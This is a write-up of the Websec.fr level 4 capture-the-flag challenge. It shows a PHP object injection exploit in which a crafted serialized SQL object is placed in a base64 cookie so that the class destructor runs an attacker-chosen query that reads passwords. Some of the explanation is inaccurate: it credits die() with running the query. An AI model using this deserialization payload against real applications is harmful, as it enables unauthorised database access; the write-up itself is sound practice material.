Post

Websec.fr level 4 - baby steps

The level

image image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
source1.php
<?php
include 'connect.php';

$sql = new SQL();
$sql->connect();
$sql->query = 'SELECT username FROM users WHERE id=';


if (isset ($_COOKIE['leet_hax0r'])) {
    $sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
    try {
        if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('CANT HACK US!!!');
        }
    } catch(Exception $e) {
        echo $e;
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('leet_hax0r', $cookie, time () + (86400 * 30));
}

if (isset ($_REQUEST['id']) && is_numeric ($_REQUEST['id'])) {
    try {
        $sql->query .= $_REQUEST['id'];
    } catch(Exception $e) {
        echo ' Invalid query';
    }
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
source2.php
<?php

class SQL {
    public $query = '';
    public $conn;
    public function __construct() {
    }
    
    public function connect() {
        $this->conn = new SQLite3 ("database.db", SQLITE3_OPEN_READONLY);
    }

    public function SQL_query($query) {
        $this->query = $query;
    }

    public function execute() {
        return $this->conn->query ($this->query);
    }

    public function __destruct() {
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        
        $ret = $this->execute ();
        if (false !== $ret) {    
            while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
                echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
            }
        }
    }
}
?>

ok let’s look at the first php script. We can see that if we set a cookie within the header under the parameter leet_hax0r that is an SQL object and

  1. Serialized
  2. base64 encoded

And don’t set the ip (because then it won’t be equal to $_SERVER[‘REMOTE_ADDR’]) it will die, which is good for us, why ?

Looking into the second php script we can see in the ret = $this->execute ();. Meaning, the die function will execute our query. Let’s dive in.

First, we want to create a serialized object with a query, and see that we get an appropriate response back from the website.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// serialize_object.php
<?php
class SQL {
  public $query;

  public function __construct($query) {
    $this->query = $query;
  }
}

$query = new SQL("SELECT username FROM users WHERE id=1");
$serialized = serialize($query);
echo $serialized;
?>

We use the query from the source1.php script image

Now base 64, and curl to get a response image

image

OK ! now we know how to interact with the website and the server. But how do we get the flag ?

Look at this peace of code from source2.php

1
2
3
4
5
if (false !== $ret) {    
    while (false !== ($row = $ret->fetchArra(SQLITE3_ASSOC))) {
        echo '<class="well"><strong>Username:<strong' . $row['username'] . '</p>';
    }
}

looks like there might be something interesting in ‘username’ field. Let’s check if we can query the password of the username in that row

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class SQL {
  public $query;

  public function __construct($query) {
    $this->query = $query;
  }
}

$query = new SQL("SELECT password AS username FROM users WHERE id=1");
$serialized = serialize($query);
echo $serialized;
?>

same steps like before: image

image

Looks like we got the flag !!
</br> Thanks for reading !

This post is licensed under CC BY 4.0 by the author.